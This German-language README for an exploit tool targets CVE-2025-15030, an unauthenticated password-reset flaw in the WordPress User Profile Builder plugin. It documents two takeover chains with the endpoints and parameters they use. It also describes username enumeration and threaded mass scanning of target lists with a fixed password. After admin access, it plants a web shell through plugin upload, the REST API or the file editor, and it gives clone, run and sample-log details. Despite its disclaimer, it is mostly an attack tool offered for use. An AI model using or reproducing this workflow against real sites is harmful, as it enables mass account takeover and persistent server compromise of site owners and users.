
User Profile Builder < 3.15.2 - Nicht authentifiziertes, beliebiges Zurücksetzen von Passwörtern
User Profile Builder < 3.15.2 - Nicht authentifiziertes Zurücksetzen beliebiger Passwörter
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
Grundursache:
Der Passwort-Wiederherstellungsablauf des Profile-Builder-Plugins (action2=recover_password2) validiert den Reset-Schlüssel nicht ordnungsgemäß und erzwingt keinen Token-Ablauf. Durch das Senden eines manipulierten POST mit einem gültigen password_recovery_nonce_field2, das aus der Reset-Seite extrahiert wurde, kann ein nicht authentifizierter Angreifer ein neues Passwort für jeden WordPress-Benutzer festlegen — einschließlich Administratoren — und benötigt dafür nur den Benutzernamen. Es ist weder eine E-Mail-Interaktion noch ein gültiges Reset-Token erforderlich.
Dieses Tool implementiert zwei unabhängige Angriffsketten gegen jedes Ziel, jeweils gefolgt von optionaler Shell-Bereitstellung:
┌────────────────────────────────────────────────────────────────────┐
│ CHAIN 1 · CORE (wp-login native reset abuse) │
│ │
│ POST /wp-login.php?action=lostpassword (trigger reset) │
│ GET /wp-login.php?action=rp&key=... (follow reset link) │
│ POST /wp-login.php?action=resetpass (inject new password) │
│ Enumerate usernames → brute strict login → verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAIN 2 · PB (Profile Builder reset-from-link) │
│ │
│ Load reset URLs from pb_reset_links.txt │
│ GET <reset_url> → extract nonce + userData │
│ POST action2=recover_password2 → set new password │
│ Strict login → verify /wp-admin/ access │
├───────────────────────────────────────────────────────────��────────┤
│ SHELL UPLOAD (runs after any confirmed admin hit) │
│ │
│ Method 1 → plugin-install.php upload (Nxploited.zip) │
│ Method 2 → REST API /wp-json/wp/v2/plugins │
│ Method 3 → Plugin/Theme editor (write Nx.php directly) │
│ Verify → GET /wp-content/plugins/Nxploited/Nx.php │
│ Log → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Lege Nxploited.zip in das gleiche Verzeichnis wie das Skript, um den Shell-Upload zu aktivieren. Das Tool funktioniert auch ohne die Datei, aber die Shell-Bereitstellung wird dann übersprungen.
python3 CVE-2025-15030.py
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Output file for core wp-login reset successes: scan_results/wp_login_reset_success.txt
Output file for Nxploited shells: scan_results/shells.txt
Profile Builder reset links file (optional): pb_reset_links.txt
Das Passwort, das für alle Reset- und Login-Versuche verwendet wird, ist intern festgelegt:
Nxploited_adminSA
list.txt — Ziele (erforderlich)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Profile-Builder-Reset-Links (optional)Wenn du Passwort-Reset-E-Mail-Links von Profile Builder erfasst hast, füge sie hier ein, eine pro Zeile. Das Tool wird:
password_recovery_nonce_field2 + userData extrahierenaction2=recover_password2 übermittelnhttps://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
Das Tool ermittelt WordPress-Benutzernamen automatisch mit drei Methoden, bevor es einen Login versucht:
| Methode | Endpunkt |
|---|---|
| Autor-Weiterleitung | /?author=1 → |
Jeder Login-Versuch wird vor dem Schreiben der Ergebnisse strikt verifiziert. Das Tool prüft:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
Ein Ergebnis wird nur dann auf die Festplatte geschrieben, wenn ≥ 3 Admin-Marker bestätigt sind.
Nach einer bestätigten Admin-Sitzung versucht das Tool nacheinander drei Eskalationsmethoden anzuwenden:
Shell-Verifizierung: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| Datei | Inhalt |
|---|---|
scan_results/wp_login_reset_success.txt | Bestätigte Admin-Treffer über die CORE-Kette |
scan_results/shells.txt | Bereitgestellte Shell-URLs mit Anmeldedaten |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears zero responsibility for any use of this tool
against systems the operator does not own or have explicit
written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws
worldwide and may result in criminal prosecution.
You alone are responsible for your actions.
© 2025 Nxploited · User Profile Builder < 3.15.2 · Behoben in 3.15.2
| Feld | Detail |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | User Profile Builder für WordPress |
| Betroffen | Alle Versionen vor 3.15.2 |
| Auth | Keine erforderlich |
| Typ | Fehlerhafter Passwort-Reset — Nicht authentifizierte Kontoübernahme |
| CWE | CWE-640 · Schwacher Passwort-Wiederherstellungsmechanismus |
/?author=10| REST-API | /wp-json/wp/v2/users |
| Hostname-Heuristik | Erstes Label des Domainnamens |
| Standard-Fallback | admin immer enthalten |
| Methode | Endpunkt | Auslöser |
|---|
| Plugin-Upload | /wp-admin/update.php?action=upload-plugin | Lädt Nxploited.zip über das Installationsformular hoch |
| REST-API | /wp-json/wp/v2/plugins | Direkter ZIP-POST |
| Editor-Schreiben | /wp-admin/plugin-editor.php | Schreibt Nx.php über den Datei-Editor |
| Spalte | Bedeutung |
|---|
KEY | Reset-Ablauf erfolgreich initiiert |
RESET | Neues Passwort vom Server akzeptiert |
ACCESS | Anzahl bestätigter Admin-Logins |
SHELL | OK, wenn Nx.php als live bestätigt ist |